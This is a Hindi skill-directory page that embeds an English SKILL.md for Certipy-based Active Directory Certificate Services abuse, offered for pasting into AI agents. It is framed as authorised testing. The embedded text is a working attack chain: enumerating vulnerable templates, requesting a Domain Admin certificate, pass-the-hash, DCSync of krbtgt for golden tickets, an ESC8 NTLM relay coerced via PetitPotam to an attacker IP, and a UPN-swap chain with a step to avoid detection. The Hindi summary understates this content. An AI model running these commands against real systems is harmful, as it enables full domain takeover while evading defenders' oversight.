ad-certipy-esc-chain
यह क्या करती है
यह स्किल बताती है कि Certipy टूल से Microsoft सर्टिफ़िकेट सेवाओं में आम गलत सेटिंग कैसे खोजें और उसकी रिपोर्ट कैसे पढ़ें। यह उन सुरक्षा परीक्षकों के लिए है जिनके पास डोमेन की जाँच की लिखित अनुमति है।
कब इस्तेमाल करें
- ✓जब कोई सुरक्षा परीक्षक एजेंट से अधिकृत Active Directory डोमेन पर Certipy चलाने को कहता है।
- ✓जब एजेंट को Certipy रिपोर्ट पढ़कर हर खोज को सरल शब्दों में समझाना हो।
- ✓जब टीम सर्टिफ़िकेट की गलत सेटिंग और उनके अर्थ की तालिका चाहती है।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप हमारे अधिकृत टेस्ट डोमेन पर Certipy चला सकते हैं और बता सकते हैं कि कौन-से सर्टिफ़िकेट टेम्पलेट जोखिमभरे लगते हैं?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट टेस्ट खाते से Certipy खोज कमांड चलाता है, रिपोर्ट का कमज़ोरी वाला हिस्सा पढ़ता है, और हर खोज समझाता है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
ADCS Abuse via Certipy
certipy (Oliver Lyak / ly4k) is the single best tool for ADCS attack. Full domain compromise from a low-priv user in 4 commands, given a vulnerable template.
1. Find vulnerable templates
certipy find -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \
-enabled -vulnerable -text -stdout
# Output: shows every ESC1-ESC15 finding with the affected template
# Look for: "ESC1", "ESC2", "ESC3" sections in the report
If you can't auth, use -username '' -password '' (anonymous LDAP — sometimes works) or use the local LDAP from a compromised machine.
2. The ESC catalog — quick reference
| ESC | Misconfiguration | Exploitation primitive |
|---|---|---|
| ESC1 | Template allows SAN (Subject Alt Name) + Client Auth EKU + low-priv enrollee | Request cert as any user (-upn administrator@target.local) |
| ESC2 | Template allows Any Purpose EKU | Same as ESC1, any role |
| ESC3 | Template has Certificate Request Agent EKU + low-priv enrollee | Use the cert to request "on behalf of" another user |
| ESC4 | Vulnerable ACL on template (WriteOwner/WriteDacl/GenericAll) | Modify template to make it ESC1, then exploit |
| ESC5 | Vulnerable ACL on PKI objects (CA, OID containers) | Same — modify, then exploit |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA |
Request ANY template with -upn target |
| ESC7 | Low-priv has Manage CA / Manage Certificates | Approve own requests, issue certs to anyone |
| ESC8 | HTTP-based enrollment endpoint exists | NTLM relay to /certsrv/certfnsh.asp (see ad-coercer) |
| ESC9 | msPKI-Enrollment-Flag lacks STRONG_KEY_PROTECTION_REQUIRED and template has UPN mapping |
Spoof UPN, get cert |
| ESC10 | Weak certificate mapping (UPN-only, no SID extension) | Same as ESC9 but for kerberos PKINIT |
| ESC11 | RPC binding without packet integrity | Relay over RPC instead of HTTP |
| ESC13 | Template grants OID group membership (ADCS-managed groups) | Get cert → become member of high-priv group |
| ESC14 | Specific weak ACE patterns on cert templates | Edit template, ESC1-chain |
| ESC15 | EKUwu — EKU manipulation on V1 templates |
Add Client Auth EKU to a template that lacked it |
3. Exploit ESC1 (the most common)
# Request a cert as Domain Administrator
certipy req -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \
-ca 'TARGET-CA' \
-template 'VulnerableTemplate' \
-upn 'administrator@target.local' \
-sid 'S-1-5-21-XXXX-500'
# Output: writes administrator.pfx — full DA cert.
4. Authenticate with the cert
# Convert to TGT
certipy auth -pfx administrator.pfx -username administrator -domain target.local -dc-ip <dc-ip>
# Output: NT hash + TGT
# Use the NT hash for pass-the-hash
impacket-psexec -hashes ':<NT_HASH>' target.local/administrator@dc.target.local
5. DCSync krbtgt (final step)
# Either with the cert-derived TGT:
KRB5CCNAME=administrator.ccache impacket-secretsdump -k -no-pass dc.target.local
# Or with the NT hash:
impacket-secretsdump -hashes ':<NT_HASH>' target.local/administrator@dc.target.local
# Dumps krbtgt — full domain compromise; forge golden tickets at will.
ESC8 chain (no vulnerable template, but ADCS Web Enrollment is enabled)
# Terminal 1: relay listener
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Terminal 2: coerce DC$
python3 PetitPotam.py <attacker_ip> <dc-ip>
# OR Coercer with anonymous auth
# Terminal 1 catches: GOT CERTIFICATE! Base64 PFX of DC$
# Decode, save as dc.pfx, then:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local -dc-ip <dc-ip>
# Dumps krbtgt next.
ESC9/10 chain (UPN mapping abuse)
If you have GenericWrite on a user object (e.g., via low-priv-on-svc-account):
# 1. Change target user's UPN to a victim with no cert protection
certipy account update -u lowpriv@target.local -p pass \
-user 'victim' -upn 'administrator@target.local'
# 2. Request a cert as victim (now resolves to admin)
certipy req -u lowpriv@target.local -p pass -ca TARGET-CA -template User \
-dc-ip <dc-ip>
# 3. Revert UPN to avoid detection
certipy account update -u lowpriv -p pass -user victim -upn 'victim@target.local'
# 4. Auth with the cert — gives Administrator hash
certipy auth -pfx victim.pfx -domain target.local -dc-ip <dc-ip>
OPSEC
- Microsoft Defender for Identity (MDI) flags ADC
अक्सर पूछे जाने वाले सवाल
Certipy क्या है?
यह एक खुला टूल है जो Active Directory डोमेन में Microsoft सर्टिफ़िकेट सेवाओं की आम गलत सेटिंग जाँचता है।
क्या स्किल हर ज्ञात सर्टिफ़िकेट कमज़ोरी को कवर करती है?
यह एक संदर्भ तालिका में कई कमज़ोरियाँ सूचीबद्ध करती है, और कहती है कि किसी खोज को प्रमाण मानने से पहले उसकी पुष्टि ज़रूरी है।
अगर टेस्ट खाते से साइन-इन न हो सके तो?
स्किल एक विकल्प बताती है जो गुमनाम क्वेरी इस्तेमाल करता है, और यह कभी-कभी काम करता है। एजेंट को किसी भी सीमा की रिपोर्ट करनी चाहिए।
जानकारी
लेखक का मूल विवरण
ADCS abuse via Certipy — find vulnerable templates (ESC1-ESC15), request a certificate, authenticate as the target, dump the krbtgt. Full chain in 4 commands. Covers ESC1 (any SAN), ESC2 (any-purpose EKU), ESC3 (enrollment-agent), ESC4 (vulnerable ACL), ESC8 (NTLM relay to CA), ESC9/10/11/13.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #13939
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।